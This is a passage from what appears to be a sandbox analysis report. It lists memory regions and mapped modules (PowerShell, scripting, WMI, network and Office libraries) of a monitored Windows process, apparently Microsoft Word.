"c:\\windows\\syswow64\\scrrun.dll") Region: id = 858 start_va = 0x55d0000 end_va = 0x55dbfff monitored = 0 entry_point = 0x55de356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 859 start_va = 0x8d80000 end_va = 0x8dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d80000" filename = "" Region: id = 860 start_va = 0x8ec0000 end_va = 0x8efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008ec0000" filename = "" Region: id = 861 start_va = 0x8f20000 end_va = 0x901ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008f20000" filename = "" Region: id = 862 start_va = 0x9080000 end_va = 0x90bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009080000" filename = "" Region: id = 863 start_va = 0x7ef64000 end_va = 0x7ef66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef64000" filename = "" Region: id = 864 start_va = 0x55e0000 end_va = 0x55e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000055e0000" filename = "" Region: id = 865 start_va = 0x57f0000 end_va = 0x5858fff monitored = 0 entry_point = 0x57fd330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 924 start_va = 0x5440000 end_va = 0x5467fff monitored = 0 entry_point = 0x544145e region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\SysWOW64\\msxml3.dll" (normalized: "c:\\windows\\syswow64\\msxml3.dll") Region: id = 925 start_va = 0x5df0000 end_va = 0x5e8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 930 start_va = 0x5570000 end_va = 0x5584fff monitored = 0 entry_point = 0x55713f2 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\SysWOW64\\scrrun.dll" (normalized: "c:\\windows\\syswow64\\scrrun.dll") Region: id = 935 start_va = 0x55d0000 end_va = 0x55dbfff monitored = 0 entry_point = 0x55de356 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\SysWOW64\\wshom.ocx" (normalized: "c:\\windows\\syswow64\\wshom.ocx") Region: id = 984 start_va = 0x57f0000 end_va = 0x5858fff monitored = 0 entry_point = 0x57fd330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 985 start_va = 0x8dc0000 end_va = 0x8dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008dc0000" filename = "" Region: id = 986 start_va = 0xb1f0000 end_va = 0xb2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1f0000" filename = "" Region: id = 987 start_va = 0x7ef64000 end_va = 0x7ef66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef64000" filename = "" Region: id = 988 start_va = 0x5440000 end_va = 0x5466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "alrtintl.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\1033\\alrtintl.dll") Region: id = 1053 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1067 start_va = 0x65ea0000 end_va = 0x65edcfff monitored = 0 entry_point = 0x65ea10f5 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1081 start_va = 0x5440000 end_va = 0x5441fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005440000" filename = "" Region: id = 1082 start_va = 0x5450000 end_va = 0x5450fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 1083 start_va = 0x8d70000 end_va = 0x8e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d70000" filename = "" Region: id = 1084 start_va = 0x8f00000 end_va = 0x8fc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 1085 start_va = 0x5460000 end_va = 0x5461fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 1086 start_va = 0x5570000 end_va = 0x5571fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005570000" filename = "" Region: id = 1087 start_va = 0x5580000 end_va = 0x5581fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 1088 start_va = 0x55d0000 end_va = 0x55d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055d0000" filename = "" Region: id = 1094 start_va = 0x94c0000 end_va = 0x9594fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 1095 start_va = 0x9620000 end_va = 0x965ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009620000" filename = "" Region: id = 1096 start_va = 0x55f0000 end_va = 0x55f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 1097 start_va = 0x5610000 end_va = 0x5611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005610000" filename = "" Region: id = 1098 start_va = 0x9980000 end_va = 0x9a39fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibril.ttf" filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf") Region: id = 1099 start_va = 0x5620000 end_va = 0x5621fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005620000" filename = "" Region: id = 1100 start_va = 0x56b0000 end_va = 0x56b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056b0000" filename = "" Region: id = 1101 start_va = 0x56c0000 end_va = 0x56c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056c0000" filename = "" Region: id = 1102 start_va = 0x65e70000 end_va = 0x65e94fff monitored = 0 entry_point = 0x65e72b71 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 1103 start_va = 0xb1a0000 end_va = 0xb26ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrib.ttf" filename = "\\Windows\\Fonts\\calibrib.ttf" (normalized: "c:\\windows\\fonts\\calibrib.ttf") Region: id = 1104 start_va = 0x65f10000 end_va = 0x65f1afff monitored = 0 entry_point = 0x65f152a0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1105 start_va = 0x65e00000 end_va = 0x65e60fff monitored = 0 entry_point = 0x65e3bf40 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\SysWOW64\\wbemcomn2.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn2.dll") Region: id = 1106 start_va = 0x56d0000 end_va = 0x56d1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056d0000" filename = "" Region: id = 1107 start_va = 0x56e0000 end_va = 0x56e1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056e0000" filename = "" Region: id = 1108 start_va = 0x57f0000 end_va = 0x57f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 1109 start_va = 0x5800000 end_va = 0x5801fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 1110 start_va = 0xb270000 end_va = 0xb340fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrii.ttf" filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf") Region: id = 1111 start_va = 0x5810000 end_va = 0x5811fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005810000" filename = "" Region: id = 1112 start_va = 0x5820000 end_va = 0x5821fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005820000" filename = "" Region: id = 1113 start_va = 0x5830000 end_va = 0x5831fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005830000" filename = "" Region: id = 1114 start_va = 0x5840000 end_va = 0x5841fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005840000" filename = "" Region: id = 1115 start_va = 0x5860000 end_va = 0x5861fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005860000" filename = "" Region: id = 1116 start_va = 0x65f00000 end_va = 0x65f0efff monitored = 0 entry_point = 0x65f093d0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1117 start_va = 0x5440000 end_va = 0x544ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 1469 start_va = 0x5450000 end_va = 0x545ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005450000" filename = "" Region: id = 1470 start_va = 0x5460000 end_va = 0x5461fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005460000" filename = "" Region: id = 1471 start_va = 0x5580000 end_va = 0x5580fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005580000" filename = "" Region: id = 1472 start_va = 0x65ca0000 end_va = 0x65d45fff monitored = 0 entry_point = 0x65d0a2f0 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1474 start_va = 0x65c80000 end_va = 0x65c97fff monitored = 0 entry_point = 0x65c81335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 1477 start_va = 0x55f0000 end_va = 0x55f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 1478 start_va = 0x5620000 end_va = 0x5620fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005620000" filename = "" Region: id = 1479 start_va = 0x56d0000 end_va = 0x56d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056d0000" filename = "" Region: id = 1480 start_va = 0x57f0000 end_va = 0x57f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 1481 start_va = 0x5810000 end_va = 0x5810fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005810000" filename = "" Region: id = 1482 start_va = 0x55f0000 end_va = 0x55fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000055f0000" filename = "" Region: id = 1491 start_va = 0x5440000 end_va = 0x544ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005440000" filename = "" Region: id = 1492 start_va = 0xb350000 end_va = 0xb406fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arialbd.ttf" filename = "\\Windows\\Fonts\\arialbd.ttf" (normalized: "c:\\windows\\fonts\\arialbd.ttf") Region: id = 1513 start_va = 0x5440000 end_va = 0x544ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 1514 start_va = 0x55f0000 end_va = 0x55f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000055f0000" filename = "" Region: id = 1515 start_va = 0x65bf0000 end_va = 0x65c2afff monitored = 0 entry_point = 0x65c056aa region_type = mapped_file name = "msproof7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\msproof7.dll") Region: id = 1516 start_va = 0x5830000 end_va = 0x5830fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "custom.dic" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\custom.dic") Region: id = 1517 start_va = 0x61930000 end_va = 0x619bffff monitored = 0 entry_point = 0x61937345 region_type = mapped_file name = "msspell7.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\msspell7.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\msspell7.dll") Region: id = 1518 start_va = 0x617a0000 end_va = 0x61927fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\mssp7en.lex") Region: id = 1519 start_va = 0x61730000 end_va = 0x61793fff monitored = 0 entry_point = 0x617368c8 region_type = mapped_file name = "msgr8en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll") Region: id = 1520 start_va = 0x616c0000 end_va = 0x61727fff monitored = 0 entry_point = 0x616cc3f5 region_type = mapped_file name = "mscss7en.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\mscss7en.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\mscss7en.dll") Region: id = 1521 start_va = 0x5830000 end_va = 0x5830fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "excludedictionaryen0409.lex" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\excludedictionaryen0409.lex") Region: id = 1522 start_va = 0x5830000 end_va = 0x5830fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "excludedictionaryen0409.lex" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\ExcludeDictionaryEN0409.lex" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\excludedictionaryen0409.lex") Region: id = 1523 start_va = 0x5830000 end_va = 0x5830fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "custom.dic" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\uproof\\custom.dic") Region: id = 1524 start_va = 0x61630000 end_va = 0x616b2fff monitored = 0 entry_point = 0x6163fbe4 region_type = mapped_file name = "css7data0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\CSS7DATA0009.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\css7data0009.dll") Region: id = 1525 start_va = 0xb1a0000 end_va = 0xb327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mssp7en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\MSSP7EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\mssp7en.lex") Region: id = 1526 start_va = 0x610d0000 end_va = 0x6162bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nl7models0009.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\NL7MODELS0009.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\nl7models0009.dll") Region: id = 1527 start_va = 0xb410000 end_va = 0xbc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b410000" filename = "" Region: id = 1528 start_va = 0x65be0000 end_va = 0x65be2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7cm_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\mscss7cm_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\mscss7cm_en.dub") Region: id = 1529 start_va = 0x610b0000 end_va = 0x610cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mscss7wre_en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\mscss7wre_en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\mscss7wre_en.dub") Region: id = 1530 start_va = 0x5440000 end_va = 0x544ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005440000" filename = "" Region: id = 1534 start_va = 0xbc10000 end_va = 0xc411fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.lex" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\MSGR8EN.LEX" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\msgr8en.lex") Region: id = 1535 start_va = 0x5830000 end_va = 0x5830fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgr8en.dub" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\PROOF\\msgr8en.dub" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\proof\\msgr8en.dub") Region: id = 1624 start_va = 0x5e40000 end_va = 0x5e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005e40000" filename = "" Region: id = 1625 start_va = 0xc4e0000 end_va = 0xc5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c4e0000" filename = "" Region: id = 1626 start_va = 0x7ef64000 end_va = 0x7ef66fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef64000" filename = "" Region: id = 1842 start_va = 0x5f6e0000 end_va = 0x5f72efff monitored = 0 entry_point = 0x5f6e1452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 1843 start_va = 0x5f730000 end_va = 0x5f787fff monitored = 0 entry_point = 0x5f7313b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1844 start_va = 0x5f900000 end_va = 0x5f90cfff monitored = 0 entry_point = 0x5f902012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1845 start_va = 0x5f6c0000 end_va = 0x5f6d1fff monitored = 0 entry_point = 0x5f6c3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1860 start_va = 0x5f5e0000 end_va = 0x5f5e7fff monitored = 0 entry_point = 0x5f5e34d3 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 1862 start_va = 0x73d50000 end_va = 0x73d55fff monitored = 0 entry_point = 0x73d51673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1863 start_va = 0x5440000 end_va = 0x5447fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "urlmon.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\urlmon.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\urlmon.dll.mui") Region: id = 1869 start_va = 0x73d00000 end_va = 0x73d37fff monitored = 0 entry_point = 0x73d0990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1870 start_va = 0x94c0000 end_va = 0x957ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094c0000" filename = "" Region: id = 1872 start_va = 0x5f5a0000 end_va = 0x5f5defff monitored = 0 entry_point = 0x5f5a2351 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 1873 start_va = 0x5f4d0000 end_va = 0x5f591fff monitored = 0 entry_point = 0x5f4d119a region_type = mapped_file name = "webservices.dll" filename = "\\Windows\\SysWOW64\\webservices.dll" (normalized: "c:\\windows\\syswow64\\webservices.dll") Region: id = 1880 start_va = 0x5f490000 end_va = 0x5f4c7fff monitored = 0 entry_point = 0x5f491489 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 1881 start_va = 0x5850000 end_va = 0x5859fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\crypt32.dll.mui") Region: id = 1882 start_va = 0x9040000 end_va = 0x907ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009040000" filename = "" Region: id = 1883 start_va = 0xc610000 end_va = 0xc70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c610000" filename = "" Region: id = 1884 start_va = 0x7ef61000 end_va = 0x7ef63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef61000" filename = "" Region: id = 1888 start_va = 0x5f470000 end_va = 0x5f485fff monitored = 0 entry_point = 0x5f472061 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\SysWOW64\\gpapi.dll" (normalized: "c:\\windows\\syswow64\\gpapi.dll") Region: id = 1889 start_va = 0x65b0000 end_va = 0x65effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000065b0000" filename = "" Region: id = 1890 start_va = 0xc7f0000 end_va = 0xc8effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c7f0000" filename = "" Region: id = 1891 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1892 start_va = 0xc8f0000 end_va = 0xd0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c8f0000" filename = "" Region: id = 2118 start_va = 0xea0000 end_va = 0xeb4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 2641 start_va = 0x11e0000 end_va = 0x12b4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "calibrili.ttf" filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf") Region: id = 2642 start_va = 0xd0f0000 end_va = 0xd4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d0f0000" filename = "" Region: id = 2643 start_va = 0xd4b0000 end_va = 0xd86dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d4b0000" filename = "" Region: id = 2644 start_va = 0xd870000 end_va = 0xdc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d870000" filename = "" Region: id = 2645 start_va = 0xdc30000 end_va = 0xdfedfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000dc30000" filename = "" Region: id = 2984 start_va = 0x5770000 end_va = 0x57affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005770000" filename = "" Region: id = 2985 start_va = 0xc740000 end_va = 0xc83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c740000" filename = "" Region: id = 3061 start_va = 0xea0000 end_va = 0xed7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ea0000" filename = "" Region: id = 3062 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3063 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3064 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3065 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3066 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3067 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3068 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3069 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3070 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3071 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3072 start_va = 0xb1a0000 end_va = 0xb2a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1a0000" filename = "" Region: id = 3073 start_va = 0xb1a0000 end_va = 0xb2a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1a0000" filename = "" Region: id = 3074 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3075 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3076 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3077 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3078 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3079 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3080 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3081 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3082 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3083 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3084 start_va = 0xb1a0000 end_va = 0xb2a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1a0000" filename = "" Region: id = 3085 start_va = 0xb1a0000 end_va = 0xb2a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1a0000" filename = "" Region: id = 3086 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3087 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3088 start_va = 0xf90000 end_va = 0xf90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f90000" filename = "" Region: id = 3089 start_va = 0x65c70000 end_va = 0x65c79fff monitored = 0 entry_point = 0x65c72a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wordcnvpxy.cnv") Region: id = 3090 start_va = 0x65c60000 end_va = 0x65c69fff monitored = 0 entry_point = 0x65c62a34 region_type = mapped_file name = "wordcnvpxy.cnv" filename = "\\Program Files (x86)\\Microsoft Office\\root\\Office16\\Wordcnvpxy.cnv" (normalized: "c:\\program files (x86)\\microsoft office\\root\\office16\\wordcnvpxy.cnv") Region: id = 3091 start_va = 0x65c70000 end_va = 0x65c7bfff monitored = 0 entry_point = 0x65c728fd region_type = mapped_file name = "recovr32.cnv" filename = "\\Program Files 